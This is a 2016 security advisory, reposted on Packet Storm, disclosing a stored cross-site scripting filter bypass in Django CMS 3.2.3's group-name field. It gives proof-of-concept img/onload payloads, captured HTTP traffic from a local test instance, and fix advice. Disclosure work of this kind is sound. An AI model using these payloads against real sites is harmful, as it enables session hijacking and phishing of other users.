Django CMS 3.2.3 Filter Bypass / Script Insertion

2016-04-14T00:00:00
ID PACKETSTORM:136687
Type packetstorm
Reporter Benjamin Kunz Mejri
Modified 2016-04-14T00:00:00

Description

                                        
                                            `  
Document Title:  
===============  
Django CMS v3.2.3 - Filter Bypass & Persistent Vulnerability  
  
  
References (Source):  
====================  
http://www.vulnerability-lab.com/get_content.php?id=1821  
  
  
Release Date:  
=============  
2016-04-14  
  
  
Vulnerability Laboratory ID (VL-ID):  
====================================  
1821  
  
  
Common Vulnerability Scoring System:  
====================================  
3.6  
  
  
Product & Service Introduction:  
===============================  
django CMS is a modern web publishing platform built with Django, the  
web application framework for perfectionists with deadlines.  
django CMS offers out-of-the-box support for the common features you’d  
expect from a CMS, but can also be easily customised and  
extended by developers to create a site that is tailored to their  
precise needs.  
  
(Copy of the Homepage: http://docs.django-cms.org/en/3.2.3/index.html )  
  
  
Abstract Advisory Information:  
==============================  
The vulnerability laboratory core research team discovered an  
application-side vulnerability in the Django v3.2.3 Content Management  
System.  
  
  
Vulnerability Disclosure Timeline:  
==================================  
2016-04-14: Public Disclosure (Vulnerability Laboratory)  
  
  
Discovery Status:  
=================  
Published  
  
  
Affected Product(s):  
====================  
Divio AG  
Product: Django Framework - Content Management System 3.2.3  
  
  
Exploitation Technique:  
=======================  
Remote  
  
  
Severity Level:  
===============  
Medium  
  
  
Technical Details & Description:  
================================  
A persistent input validation web vulnerability has been discovered in  
the official Django v3.2.3 Content Management System.  
The security vulnerability allows remote attackers or privileged user  
accounts to inject own malicious script codes to the  
application-side of the vulnerable modules web context.  
  
The vulnerability has been located in the `people-group-name-1  
cms-render-model (people-group-detail)` value of the  
`/en/footer/people/group/slat/` module POST method request. Remote  
attackers are able to inject own malicious script  
code to the group name input to provoke a persistent execution. The  
injection point is the group add module and the  
execution point is the `./people/group/slat/` path. The attacker vector  
of the vulnerability is persistent and request  
method to inject is POST.  
  
The filter validation of the group input disallows the usage of iframes  
or script code tags. The img tag with source  
and onload alert (document.cookie / document.domain) allows to bypass  
the filter validation of the django cms. To inject  
a splitted char inject is required. The second tag executes the context  
and bypasses the filter validation of the cms.  
  
The security risk of the vulnerability is estimated as medium with a  
cvss (common vulnerability scoring system) count of 3.6.  
Exploitation of the vulnerability requires a low privileged  
web-application user account and low or medium user interaction.  
Successful exploitation of the vulnerability results in session  
hijacking, persistent phishing attacks, persistent external  
redirects to malicious source and persistent manipulation of affected or  
connected application modules.  
  
Request Method(s):  
[+] POST  
  
Vulnerable Module(s):  
[+] Groups (Add)  
  
Vulnerable Parameter(s):  
[+] people-group-name-1 - cms-render-model  
(people-group-detail)  
  
Affected Module(s):  
[+] Group List  
  
  
Proof of Concept (PoC):  
=======================  
The vulnerability can be exploited by remote attackers and privileged  
user accounts with low or medium user interaction.  
For security demonstration or to reproduce the vulnerability follow the  
provided information and steps below to continue.  
  
PoC: Payload(s)  
">"%20"=""><img%20src=a onload=alert(document.domain)<  
">"%20"=""><img%20src=a onload=alert(document.cookie)<  
  
  
PoC: Source (people-group-name-1 cms-render-model)  
<div class="aldryn aldryn-people aldryn-group-detail">  
<div class="cms-placeholder cms-placeholder-129"></div>  
<h2><div class="cms-plugin cms-plugin-aldryn_people-group-name-1  
cms-render-model">"><[PERSISTENT INJECTED SCRIPT CODE!!!])<</div></h2>  
<div class="cms-placeholder cms-placeholder-131"></div>  
</div>  
  
  
Status: 302[FOUND]  
POST  
http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en  
Load Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des  
Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
  
Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
POST-Daten:  
POST_DATA[-----------------------------11444153422927  
Content-Disposition: form-data; name="csrfmiddlewaretoken"  
xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI  
-----------------------------11444153422927  
Content-Disposition: form-data; name="en"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="name"  
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]  
-----------------------------11444153422927  
Content-Disposition: form-data; name="slug"  
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]  
-----------------------------11444153422927  
Content-Disposition: form-data; name="description"  
[PERSISTENT INJECTED SCRIPT CODE VULNERABILITY!]  
-----------------------------11444153422927  
Content-Disposition: form-data; name="phone"  
1337  
-----------------------------11444153422927  
Content-Disposition: form-data; name="fax"  
1337  
-----------------------------11444153422927  
Content-Disposition: form-data; name="email"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="website"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="address"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="postal_code"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="city"  
-----------------------------11444153422927  
Content-Disposition: form-data; name="_save"  
Save  
-----------------------------11444153422927--]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[4]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:20 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[6]  
X-Proxy-Request-Forwarded[6]  
X-Proxy-Response-Received[96]  
Content-Language[en]  
Expires[Fri, 08 Apr 2016 20:20:20 GMT]  
Vary[Cookie]  
Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]  
Location[http://django.localhost:8080/en/admin/aldryn_people/group/]  
Cache-Control[max-age=0]  
Content-Type[text/html; charset=utf-8]  
Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6;  
expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/  
messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The  
Group ""><iframe src=a onload=alert(document.domain)< "><iframe src=a  
onload=alert(document.domain)<" was added successfully."]]"; Path=/]  
-  
Status: 200[OK]  
GET http://django.localhost:8080/en/admin/aldryn_people/group/ Load  
Flags[LOAD_DOCUMENT_URI LOAD_REPLACE LOAD_INITIAL_DOCUMENT_URI ]  
Größe des Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
  
Referer[http://django.localhost:8080/en/admin/aldryn_people/group/add/?language=en]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en;  
messages="b11cb8f5979db37174caeca85e61810b42b79d2a$[["__json_message"540542554"The  
Group ""><iframe src=a onload=alert(document.domain)< "><iframe src=a  
onload=alert(document.domain)<" was added successfully."]]"]  
Connection[keep-alive]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:20 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[3]  
X-Proxy-Request-Forwarded[3]  
X-Proxy-Response-Received[62]  
Content-Language[en]  
Expires[Fri, 08 Apr 2016 20:20:20 GMT]  
Vary[Cookie]  
Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]  
Cache-Control[max-age=0]  
Content-Type[text/html; charset=utf-8]  
Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
expires=Fri, 07-Apr-2017 20:20:20 GMT; Max-Age=31449600; Path=/  
messages=; expires=Thu, 01-Jan-1970 00:00:00 GMT; Max-Age=0; Path=/]  
-  
Status: 301[MOVED PERMANENTLY]  
GET  
http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT  
INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des  
Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
  
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:20 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[3]  
X-Proxy-Request-Forwarded[3]  
X-Proxy-Response-Received[21]  
Content-Type[text/html; charset=utf-8]  
  
Location[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/a/]  
Content-Language[en]  
-  
Status: 200[OK]  
GET http://django.localhost:8080/en/admin/cms/page/resolve/?model=&pk=  
Load Flags[LOAD_BACKGROUND LOAD_BYPASS_LOCAL_CACHE_IF_BUSY ] Größe des  
Inhalts[-1] Mime Type[text/plain]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
Accept[*/*]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
X-Requested-With[XMLHttpRequest]  
  
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
If-Modified-Since[Fri, 08 Apr 2016 20:19:26 GMT]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:20 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[2]  
X-Proxy-Request-Forwarded[2]  
X-Proxy-Response-Received[43]  
Content-Language[en]  
Expires[Fri, 08 Apr 2016 20:20:20 GMT]  
Vary[Cookie]  
Last-Modified[Fri, 08 Apr 2016 20:20:20 GMT]  
Cache-Control[max-age=0]  
Content-Type[text/plain]  
Set-Cookie[sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6;  
expires=Fri, 22-Apr-2016 20:20:20 GMT; Max-Age=1209600; Path=/]  
-  
Status: pending[]  
GET  
http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/[PERSISTENT  
INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE ]  
Größe des Inhalts[unknown] Mime Type[unknown]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
  
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
-  
Status: 200[OK]  
GET http://django.localhost:8080/en/footer/people/group/slat/ Load  
Flags[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des  
Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
  
Referer[http://django.localhost:8080/en/footer/people/iframe-src-a-onload-alert-document-domain-iframe-src-a-onload-alert-document-domain/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:21 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[3]  
X-Proxy-Request-Forwarded[3]  
X-Proxy-Response-Received[449]  
Content-Language[en]  
Expires[Fri, 08 Apr 2016 20:20:21 GMT]  
Vary[Cookie]  
Last-Modified[Fri, 08 Apr 2016 20:20:21 GMT]  
Cache-Control[max-age=0]  
Content-Type[text/html; charset=utf-8]  
Set-Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
expires=Fri, 07-Apr-2017 20:20:21 GMT; Max-Age=31449600; Path=/]  
-  
Status: 301[MOVED PERMANENTLY]  
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT  
INJECTED SCRIPT CODE!] Load Flags[LOAD_DOCUMENT_URI ] Größe des  
Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[http://django.localhost:8080/en/footer/people/group/slat/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:22 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[4]  
X-Proxy-Request-Forwarded[4]  
X-Proxy-Response-Received[21]  
Content-Type[text/html; charset=utf-8]  
Location[http://django.localhost:8080/en/footer/people/group/slat/a/]  
Content-Language[en]  
  
  
-Status: 200[OK]  
GET http://django.localhost:8080/en/footer/people/group/slat/[PERSISTENT  
INJECTED SCRIPT CODE!]/ Load Flags[LOAD_DOCUMENT_URI LOAD_REPLACE ]  
Größe des Inhalts[-1] Mime Type[text/html]  
Request Header:  
Host[django.localhost:8080]  
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:45.0)  
Gecko/20100101 Firefox/45.0]  
  
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]  
Accept-Language[de,en-US;q=0.7,en;q=0.3]  
Accept-Encoding[gzip, deflate]  
DNT[1]  
Referer[http://django.localhost:8080/en/footer/people/group/slat/]  
Cookie[csrftoken=xIKUpMGlX73Z2iwSz4VRTnGh729DwxZI;  
sessionid=mjq2j02vc7fgp5l50qd3bgdyzjlx2io6; django_language=en]  
Connection[keep-alive]  
Response Header:  
Transfer-Encoding[chunked]  
X-Proxy-Request-Received[0]  
Server[Aldryn-LoadBalancer/2.0]  
Date[Fri, 08 Apr 2016 20:20:22 GMT]  
X-Aldryn-App[django-cms-3-2-demo-somijone-stage]  
X-Proxy-Request-Routed[2]  
X-Proxy-Request-Forwarded[2]  
X-Proxy-Response-Received[43]  
Content-Language[en]  
Expires[Fri, 08 Apr 2016 20:20:22 GMT]  
Vary[Cookie]  
Last-Modified[Fri, 08 Apr 2016 20:20:22 GMT]  
Cache-Control[max-age=0]  
Content-Type[text/html]  
  
  
Reference(s):  
http://django.localhost:8080/  
http://django.localhost:8080/en/  
http://django.localhost:8080/en/admin/  
http://django.localhost:8080/en/footer/  
http://django.localhost:8080/en/admin/cms/  
http://django.localhost:8080/en/footer/people/  
http://django.localhost:8080/en/admin/cms/page/  
http://django.localhost:8080/en/footer/people/group/  
http://django.localhost:8080/en/admin/cms/page/resolve/  
http://django.localhost:8080/en/footer/people/group/slat/  
  
  
Solution - Fix & Patch:  
=======================  
The vulnerability can be resolved by a secure parse and encode of the  
vulnerable marked values in the add POST method request.  
Encode and filter as well the cms-messages-inner and cms-messages output  
values in information module. Disallow usage of special  
chars and escapte the entries to prevent further application-side script  
code injection attacks.  
  
  
Security Risk:  
==============  
The security risk of the application-side input validation web  
vulnerability in the django cms is estimated as medium. (CVSS 3.6)  
  
  
Credits & Authors:  
==================  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri  
(bkm@evolution-sec.com) [www.vulnerability-lab.com]  
  
  
Disclaimer & Information:  
=========================  
The information provided in this advisory is provided as it is without  
any warranty. Vulnerability Lab disclaims all warranties, either  
expressed or implied,  
including the warranties of merchantability and capability for a  
particular purpose. Vulnerability-Lab or its suppliers are not liable in  
any case of damage,  
including direct, indirect, incidental, consequential loss of business  
profits or special damages, even if Vulnerability-Lab or its suppliers  
have been advised  
of the possibility of such damages. Some states do not allow the  
exclusion or limitation of liability for consequential or incidental  
damages so the foregoing  
limitation may not apply. We do not approve or encourage anybody to  
break any licenses, policies, deface websites, hack into databases or  
trade with stolen data.  
  
Domains: www.vulnerability-lab.com - www.vuln-lab.com   
- www.evolution-sec.com  
Contact: admin@vulnerability-lab.com -  
research@vulnerability-lab.com - admin@evolution-sec.com  
Section: magazine.vulnerability-lab.com -  
vulnerability-lab.com/contact.php -  
evolution-sec.com/contact  
Social: twitter.com/vuln_lab -  
facebook.com/VulnerabilityLab -  
youtube.com/user/vulnerability0lab  
Feeds: vulnerability-lab.com/rss/rss.php -  
vulnerability-lab.com/rss/rss_upcoming.php -  
vulnerability-lab.com/rss/rss_news.php  
Programs: vulnerability-lab.com/submit.php -  
vulnerability-lab.com/list-of-bug-bounty-programs.php -  
vulnerability-lab.com/register.php  
  
Any modified copy or reproduction, including partially usages, of this  
file requires authorization from Vulnerability Laboratory. Permission to  
electronically  
redistribute this alert in its unmodified form is granted. All other  
rights, including the use of other media, are reserved by  
Vulnerability-Lab Research Team or  
its suppliers. All pictures, texts, advisories, source code, videos and  
other information on this website is trademark of vulnerability-lab team  
& the specific  
authors or managers. To record, list, modify, use or edit our material  
contact (admin@ or research@vulnerability-lab.com) to get a ask permission.  
  
Copyright © 2016 | Vulnerability Laboratory -  
[Evolution Security GmbH]™  
  
  
  
  
--   
VULNERABILITY LABORATORY - RESEARCH TEAM  
SERVICE: www.vulnerability-lab.com  
CONTACT: research@vulnerability-lab.com  
  
`